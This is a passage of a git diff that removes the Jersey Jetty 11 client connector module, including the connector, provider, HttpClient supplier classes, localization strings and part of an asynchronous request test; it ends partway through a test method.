-            client.getSslContextFactory().setHostnameVerifier(jaxrsClient.getHostnameVerifier());
-        }
-
-        final Object connectTimeout = config.getProperties().get(ClientProperties.CONNECT_TIMEOUT);
-        if (connectTimeout != null && connectTimeout instanceof Integer && (Integer) connectTimeout > 0) {
-            client.setConnectTimeout((Integer) connectTimeout);
-        }
-        final Object threadPoolSize = config.getProperties().get(ClientProperties.ASYNC_THREADPOOL_SIZE);
-        if (threadPoolSize != null && threadPoolSize instanceof Integer && (Integer) threadPoolSize > 0) {
-            final String name = HttpClient.class.getSimpleName() + "@" + hashCode();
-            final QueuedThreadPool threadPool = new QueuedThreadPool((Integer) threadPoolSize);
-            threadPool.setName(name);
-            client.setExecutor(threadPool);
-        }
-        Boolean disableCookies = (Boolean) config.getProperties().get(JettyClientProperties.DISABLE_COOKIES);
-        disableCookies = (disableCookies != null) ? disableCookies : false;
-
-        final AuthenticationStore auth = client.getAuthenticationStore();
-        final Object basicAuthProvider = config.getProperty(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION);
-        if (basicAuthProvider != null && (basicAuthProvider instanceof BasicAuthentication)) {
-            auth.addAuthentication((BasicAuthentication) basicAuthProvider);
-        }
-
-        final Optional<ClientProxy> proxy = ClientProxy.proxyFromConfiguration(config);
-        proxy.ifPresent(clientProxy -> {
-            final ProxyConfiguration proxyConfig = client.getProxyConfiguration();
-            final URI u = clientProxy.uri();
-            proxyConfig.addProxy(new HttpProxy(u.getHost(), u.getPort()));
-
-            if (clientProxy.userName() != null) {
-                auth.addAuthentication(new BasicAuthentication(u, "<<ANY_REALM>>",
-                        clientProxy.userName(), clientProxy.password()));
-            }
-        });
-
-        if (disableCookies) {
-            client.setCookieStore(new HttpCookieStore.Empty());
-        }
-
-        final Object slResponseMaxSize = configuration.getProperties()
-                .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
-        if (slResponseMaxSize != null && slResponseMaxSize instanceof Integer
-                && (Integer) slResponseMaxSize > 0) {
-            this.syncListenerResponseMaxSize = Optional.of((Integer) slResponseMaxSize);
-        }
-        else {
-            this.syncListenerResponseMaxSize = Optional.empty();
-        }
-
-        try {
-            client.start();
-        } catch (final Exception e) {
-            throw new ProcessingException("Failed to start the client.", e);
-        }
-        this.cookieStore = client.getCookieStore();
-    }
-
-    /**
-     * provides required HTTP client transport for client
-     *
-     * the default transport is {@link HttpClientTransportOverHTTP}
-     *
-     * @return instance of {@link HttpClientTransport}
-     * @since 2.41
-     */
-    protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
-        return new HttpClientTransportOverHTTP(clientConnector);
-    }
-
-    /**
-     * provides custom registered {@link HttpClient} if any (or NULL)
-     *
-     * @param config configuration where {@link HttpClient} could be registered
-     * @return {@link HttpClient} instance if any was previously registered or NULL
-     *
-     * @since 2.41
-     */
-    protected HttpClient getRegisteredHttpClient(Configuration config) {
-        if (config.isRegistered(JettyHttpClientSupplier.class)) {
-            Optional<Object> contract = config.getInstances().stream()
-                    .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst();
-            if (contract.isPresent()) {
-                return  ((JettyHttpClientSupplier) contract.get()).getHttpClient();
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Get the {@link HttpClient}.
-     *
-     * @return the {@link HttpClient}.
-     */
-    @SuppressWarnings("UnusedDeclaration")
-    public HttpClient getHttpClient() {
-        return client;
-    }
-
-    /**
-     * Get the {@link CookieStore}.
-     *
-     * @return the {@link CookieStore} instance or null when
-     * Jetty11ClientProperties.DISABLE_COOKIES set to true.
-     */
-    public CookieStore getCookieStore() {
-        return cookieStore;
-    }
-
-    @Override
-    public ClientResponse apply(final ClientRequest jerseyRequest) throws ProcessingException {
-        final Request jettyRequest = translateRequest(jerseyRequest);
-        final Map<String, String> clientHeadersSnapshot = new HashMap<>();
-        final ContentProvider entity =
-                getBytesProvider(jerseyRequest, jerseyRequest.getHeaders(), clientHeadersSnapshot, jettyRequest);
-        if (entity != null) {
-            jettyRequest.content(entity);
-        } else {
-            clientHeadersSnapshot.putAll(writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest));
-        }
-
-        try {
-            final ContentResponse jettyResponse;
-            if (!syncListenerResponseMaxSize.isPresent()) {
-                jettyResponse = jettyRequest.send();
-            }
-            else {
-                final FutureResponseListener listener
-                        = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
-                jettyRequest.send(listener);
-                jettyResponse = listener.get();
-            }
-            HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
-                    JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
-
-            final jakarta.ws.rs.core.Response.StatusType status = jettyResponse.getReason() == null
-                    ? Statuses.from(jettyResponse.getStatus())
-                    : Statuses.from(jettyResponse.getStatus(), jettyResponse.getReason());
-
-            final ClientResponse jerseyResponse = new ClientResponse(status, jerseyRequest);
-            processResponseHeaders(jettyResponse.getHeaders(), jerseyResponse);
-            try {
-                jerseyResponse.setEntityStream(new HttpClientResponseInputStream(jettyResponse));
-            } catch (final IOException e) {
-                LOGGER.log(Level.SEVERE, null, e);
-            }
-
-            return jerseyResponse;
-        } catch (final Exception e) {
-            throw new ProcessingException(e);
-        }
-    }
-
-    private static void processResponseHeaders(final HttpFields respHeaders, final ClientResponse jerseyResponse) {
-        for (final HttpField header : respHeaders) {
-            final String headerName = header.getName();
-            final MultivaluedMap<String, String> headers = jerseyResponse.getHeaders();
-            List<String> list = headers.get(headerName);
-            if (list == null) {
-                list = new ArrayList<>();
-            }
-            list.add(header.getValue());
-            headers.put(headerName, list);
-        }
-    }
-
-    private static final class HttpClientResponseInputStream extends FilterInputStream {
-
-        HttpClientResponseInputStream(final ContentResponse jettyResponse) throws IOException {
-            super(getInputStream(jettyResponse));
-        }
-
-        private static InputStream getInputStream(final ContentResponse response) {
-            return new ByteArrayInputStream(response.getContent());
-        }
-    }
-
-    private Request translateRequest(final ClientRequest clientRequest) {
-
-        final URI uri = clientRequest.getUri();
-        final Request request = client.newRequest(uri);
-        request.method(clientRequest.getMethod());
-
-        request.followRedirects(clientRequest.resolveProperty(ClientProperties.FOLLOW_REDIRECTS, true));
-        final Object readTimeout = clientRequest.resolveProperty(ClientProperties.READ_TIMEOUT, -1);
-        if (readTimeout != null && readTimeout instanceof Integer && (Integer) readTimeout > 0) {
-            request.idleTimeout((Integer) readTimeout, TimeUnit.MILLISECONDS);
-        }
-
-        final Object totalTimeout = clientRequest.resolveProperty(JettyClientProperties.TOTAL_TIMEOUT, -1);
-        if (totalTimeout != null && totalTimeout instanceof Integer && (Integer) totalTimeout > 0) {
-            request.timeout((Integer) totalTimeout, TimeUnit.MILLISECONDS);
-        }
-
-        return request;
-    }
-
-    private Map<String, String> writeOutBoundHeaders(final MultivaluedMap<String, Object> headers, final Request request) {
-        final Map<String, String> stringHeaders = HeaderUtils.asStringHeadersSingleValue(headers, configuration);
-        final Consumer<HttpFields.Mutable> mutableConsumer = httpFields -> {
-            // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version)
-            httpFields.remove(HttpHeader.USER_AGENT);
-            for (final Map.Entry<String, String> e : stringHeaders.entrySet()) {
-                httpFields.put(e.getKey(), e.getValue());
-            }
-        };
-        request.headers(mutableConsumer);
-
-        return stringHeaders;
-    }
-
-    private ContentProvider getBytesProvider(final ClientRequest clientRequest,
-                                             final MultivaluedMap<String, Object> headers,
-                                             final Map<String, String> snapshot,
-                                             final Request request) {
-        final Object entity = clientRequest.getEntity();
-
-        if (entity == null) {
-            return null;
-        }
-
-        final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
-        clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
-            @Override
-            public OutputStream getOutputStream(final int contentLength) throws IOException {
-                snapshot.putAll(writeOutBoundHeaders(headers, request));
-                return outputStream;
-            }
-        });
-
-        try {
-            clientRequest.writeEntity();
-        } catch (final IOException e) {
-            throw new ProcessingException("Failed to write request entity.", e);
-        }
-        return new BytesContentProvider(outputStream.toByteArray());
-    }
-
-    private ContentProvider getStreamProvider(final ClientRequest clientRequest) {
-        final Object entity = clientRequest.getEntity();
-
-        if (entity == null) {
-            return null;
-        }
-
-        final OutputStreamContentProvider streamContentProvider = new OutputStreamContentProvider();
-        clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
-            @Override
-            public OutputStream getOutputStream(final int contentLength) throws IOException {
-                return streamContentProvider.getOutputStream();
-            }
-        });
-        return streamContentProvider;
-    }
-
-    private void processContent(final ClientRequest clientRequest, final ContentProvider entity) throws IOException {
-        if (entity == null) {
-            return;
-        }
-
-        final OutputStreamContentProvider streamContentProvider = (OutputStreamContentProvider) entity;
-        try (final OutputStream output = streamContentProvider.getOutputStream()) {
-            clientRequest.writeEntity();
-        }
-    }
-
-    @Override
-    public Future<?> apply(final ClientRequest jerseyRequest, final AsyncConnectorCallback callback) {
-        final Request jettyRequest = translateRequest(jerseyRequest);
-        final Map<String, String> clientHeadersSnapshot = writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest);
-        final ContentProvider entity = getStreamProvider(jerseyRequest);
-        if (entity != null) {
-            jettyRequest.content(entity);
-        }
-        final AtomicBoolean callbackInvoked = new AtomicBoolean(false);
-        final Throwable failure;
-        try {
-            final CompletableFuture<ClientResponse> responseFuture = new CompletableFuture<ClientResponse>();
-            responseFuture.whenComplete(
-                    (clientResponse, throwable) -> {
-                        if (throwable != null && throwable instanceof CancellationException) {
-                            // take care of future cancellation
-                            jettyRequest.abort(throwable);
-
-                        }
-                    });
-
-            final AtomicReference<ClientResponse> jerseyResponse = new AtomicReference<>();
-            final ByteBufferInputStream entityStream = new ByteBufferInputStream();
-            jettyRequest.send(new Response.Listener.Adapter() {
-
-                @Override
-                public void onHeaders(final Response jettyResponse) {
-                    HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
-                            JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
-
-                    if (responseFuture.isDone()) {
-                        if (!callbackInvoked.compareAndSet(false, true)) {
-                            return;
-                        }
-                    }
-                    final ClientResponse response = translateResponse(jerseyRequest, jettyResponse, entityStream);
-                    jerseyResponse.set(response);
-                }
-
-                @Override
-                public void onContent(final Response jettyResponse, final ByteBuffer content) {
-                    try {
-                        // content must be consumed before returning from this method.
-
-                        if (content.hasArray()) {
-                            byte[] array = content.array();
-                            byte[] buff = new byte[content.remaining()];
-                            System.arraycopy(array, content.arrayOffset(), buff, 0, content.remaining());
-                            entityStream.put(ByteBuffer.wrap(buff));
-                        } else {
-                            byte[] buff = new byte[content.remaining()];
-                            content.get(buff);
-                            entityStream.put(ByteBuffer.wrap(buff));
-                        }
-                    } catch (final InterruptedException ex) {
-                        final ProcessingException pe = new ProcessingException(ex);
-                        entityStream.closeQueue(pe);
-                        // try to complete the future with an exception
-                        responseFuture.completeExceptionally(pe);
-                        Thread.currentThread().interrupt();
-                    }
-                }
-
-                @Override
-                public void onComplete(final Result result) {
-                    entityStream.closeQueue();
-                    if (!callbackInvoked.get()) {
-                        callback.response(jerseyResponse.get());
-                    }
-                    responseFuture.complete(jerseyResponse.get());
-                }
-
-                @Override
-                public void onFailure(final Response response, final Throwable t) {
-                    entityStream.closeQueue(t);
-                    // try to complete the future with an exception
-                    responseFuture.completeExceptionally(t);
-                    if (callbackInvoked.compareAndSet(false, true)) {
-                        callback.failure(t);
-                    }
-                }
-            });
-            processContent(jerseyRequest, entity);
-            return responseFuture;
-        } catch (final Throwable t) {
-            failure = t;
-        }
-
-        if (callbackInvoked.compareAndSet(false, true)) {
-            callback.failure(failure);
-        }
-        CompletableFuture<Object> future = new CompletableFuture<>();
-        future.completeExceptionally(failure);
-        return future;
-    }
-
-    private static ClientResponse translateResponse(final ClientRequest jerseyRequest,
-                                                    final org.eclipse.jetty.client.api.Response jettyResponse,
-                                                    final NonBlockingInputStream entityStream) {
-        final ClientResponse jerseyResponse = new ClientResponse(Statuses.from(jettyResponse.getStatus()), jerseyRequest);
-        processResponseHeaders(jettyResponse.getHeaders(), jerseyResponse);
-        jerseyResponse.setEntityStream(entityStream);
-        return jerseyResponse;
-    }
-
-    @Override
-    public String getName() {
-        return "Jetty HttpClient " + Jetty.VERSION;
-    }
-
-    @Override
-    public void close() {
-        try {
-            client.stop();
-        } catch (final Exception e) {
-            throw new ProcessingException("Failed to stop the client.", e);
-        }
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
deleted file mode 100644
index 167683a..0000000
--- a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
+++ /dev/null
@@ -1,128 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configurable;
-import jakarta.ws.rs.core.Configuration;
-
-import org.glassfish.jersey.client.Initializable;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.client.spi.ConnectorProvider;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
-
-/**
- * A {@link ConnectorProvider} for Jersey {@link Connector connector}
- * instances that utilize the Jetty HTTP Client to send and receive
- * HTTP request and responses.
- * <p>
- * The following connector configuration properties are supported:
- * <ul>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link JettyClientProperties#DISABLE_COOKIES}</li>*
- * <li>{@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}</li>
- * <li>{@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
- * <li>{@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}</li>
- * </ul>
- * </p>
- * <p>
- * This transport supports both synchronous and asynchronous processing of client requests.
- * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE.
- * </p>
- * <p>
- * Typical usage:
- * </p>
- * <pre>
- * {@code
- * ClientConfig config = new ClientConfig();
- * config.connectorProvider(new JettyConnectorProvider());
- * Client client = ClientBuilder.newClient(config);
- *
- * // async request
- * WebTarget target = client.target("http://localhost:8080");
- * Future<Response> future = target.path("resource").request().async().get();
- *
- * // wait for 3 seconds
- * Response response = future.get(3, TimeUnit.SECONDS);
- * String entity = response.readEntity(String.class);
- * client.close();
- * }
- * </pre>
- * <p>
- * Connector instances created via Jetty HTTP Client-based connector provider support only
- * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}.
- * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no
- * effect on Jetty HTTP Client-based connectors.
- * </p>
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- * @since 2.5
- */
-public class JettyConnectorProvider implements ConnectorProvider {
-
-    @Override
-    public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return new JettyConnector(client, runtimeConfig);
-    }
-
-    /**
-     * Retrieve the underlying Jetty {@link HttpClient} instance from
-     * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
-     * configured to use {@code JettyConnectorProvider}.
-     *
-     * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
-     *                  {@code JettyConnectorProvider}.
-     * @return underlying Jetty {@code HttpClient} instance.
-     *
-     * @throws IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
-     *                                            nor {@code JerseyWebTarget} instance or in case the component
-     *                                            is not configured to use a {@code JettyConnectorProvider}.
-     * @since 2.8
-     */
-    public static HttpClient getHttpClient(Configurable<?> component) {
-        if (!(component instanceof Initializable)) {
-            throw new IllegalArgumentException(
-                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
-        }
-
-        final Initializable<?> initializable = (Initializable<?>) component;
-        Connector connector = initializable.getConfiguration().getConnector();
-        if (connector == null) {
-            initializable.preInitialize();
-            connector = initializable.getConfiguration().getConnector();
-        }
-
-        if (connector instanceof JettyConnector) {
-            return ((JettyConnector) connector).getHttpClient();
-        }
-
-        throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
-    }
-}
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
deleted file mode 100644
index 95782f2..0000000
--- a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.spi.Contract;
-
-/**
- * A contract that allows for an optional registration of user predefined Jetty {@code HttpClient}
- * that is consequently used by {@link JettyConnector}
- */
-@Contract
-public interface JettyHttpClientContract {
-    /**
-     * Supply a user predefined HttpClient
-     * @return a user predefined HttpClient
-     */
-    HttpClient getHttpClient();
-}
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
deleted file mode 100644
index de6453b..0000000
--- a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-package org.glassfish.jersey.jetty.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-
-/**
- * Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}.
- * Not every possible configuration option is covered by the Jetty Connector and this supplier offers a way to provide
- * an HttpClient that has configured the options not covered by the Jetty Connector.
- * <p>
- *     Typical usage:
- * </p>
- * <pre>
- * {@code
- * HttpClient httpClient = ...
- *
- * ClientConfig config = new ClientConfig();
- * config.connectorProvider(new JettyConnectorProvider());
- * config.register(new JettyHttpClientSupplier(httpClient));
- * Client client = ClientBuilder.newClient(config);
- * }
- * </pre>
- * <p>
- *     The {@code HttpClient} is configured as if it was created by {@link JettyConnector} the usual way.
- * </p>
- */
-public class JettyHttpClientSupplier implements JettyHttpClientContract {
-    private final HttpClient httpClient;
-
-    /**
-     * {@code HttpClient} supplier to be optionally registered to a {@link org.glassfish.jersey.client.ClientConfig}
-     * @param httpClient a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
-     */
-    public JettyHttpClientSupplier(HttpClient httpClient) {
-        this.httpClient = httpClient;
-    }
-
-    @Override
-    public HttpClient getHttpClient() {
-        return httpClient;
-    }
-}
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
deleted file mode 100644
index 8416cf4..0000000
--- a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
- * Jetty Client.
- */
-package org.glassfish.jersey.jetty.connector;
diff --git a/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties b/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
deleted file mode 100644
index aacb267..0000000
--- a/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
+++ /dev/null
@@ -1,21 +0,0 @@
-#
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - HTTP method, e.g. GET, DELETE
-method.not.supported=Method {0} not supported.
-invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
-expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
-not.supported=Jetty connector is not supported on JDK version less than 11.
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java
deleted file mode 100644
index 8755aaf..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.container.AsyncResponse;
-import jakarta.ws.rs.container.Suspended;
-import jakarta.ws.rs.container.TimeoutHandler;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.hamcrest.Matchers;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * Asynchronous connector test.
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- */
-public class AsyncTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
-    private static final String PATH = "async";
-
-    /**
-     * Asynchronous test resource.
-     */
-    @Path(PATH)
-    public static class AsyncResource {
-        /**
-         * Typical long-running operation duration.
-         */
-        public static final long OPERATION_DURATION = 1000;
-
-        /**
-         * Long-running asynchronous post.
-         *
-         * @param asyncResponse async response.
-         * @param id            post request id (received as request payload).
-         */
-        @POST
-        public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
-            LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(OPERATION_DURATION);
-                        return "DONE-" + id;
-                    } catch (InterruptedException e) {
-                        Thread.currentThread().interrupt();
-                        return "INTERRUPTED-" + id;
-                    } finally {
-                        LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
-                    }
-                }
-            }, "async-post-runner-" + id).start();
-        }
-
-        /**
-         * Long-running async get request that times out.
-         *
-         * @param asyncResponse async response.
-         */
-        @GET
-        @Path("timeout")
-        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
-            LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
-            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
-
-                @Override
-                public void handleTimeout(AsyncResponse asyncResponse) {
-                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
-                            .entity("Operation time out.").build());
-                }
-            });
-            asyncResponse.setTimeout(1, TimeUnit.SECONDS);
-            asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
-                    .entity("Operation time out.").build());
-
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
-                    // simulated using sleep()
-                    try {
-                        Thread.sleep(5 * OPERATION_DURATION);
-                        return "DONE";
-                    } catch (InterruptedException e) {
-                        Thread.currentThread().interrupt();
-                        return "INTERRUPTED";
-                    } finally {
-                        LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
-                    }
-                }
-            }).start();
-        }
-
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(AsyncResource.class)
-                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        // TODO: fails with true on request - should be fixed by resolving JERSEY-2273
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    /**
-     * Test asynchronous POST.
-     *
-     * Send 3 async POST requests and wait to receive the responses. Check the response content and
-     * assert that the operation did not take more than twice as long as a single long operation duration
-     * (this ensures async request execution).
-     *
-     * @throws Exception in case of a test error.
-     */
-    @Test
-    public void testAsyncPost() throws Exception {
-        final long tic = System.currentTimeMillis();
-
-        // Submit requests asynchronously.
-        final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1"));
-        final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2"));
-        final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3"));
-        // get() waits for the response
-        final String r1 = rf1.get().readEntity(String.class);
-        final String r2 = rf2.get().readEntity(String.class);
-        final String r3 = rf3.get().readEntity(String.class);
-
-        final long toc = System.currentTimeMillis();
-
-        assertEquals("DONE-1", r1);
-        assertEquals("DONE-2", r2);
-        assertEquals("DONE-3", r3);
-
-        assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION));
-    }
-
-    /**
-     * Test accessing an operation that times out on the server.
-     *
-     * @throws Exception in case of a test error.
-     */
-    @Test
-    public void testAsyncGetWithTimeout() throws Exception {
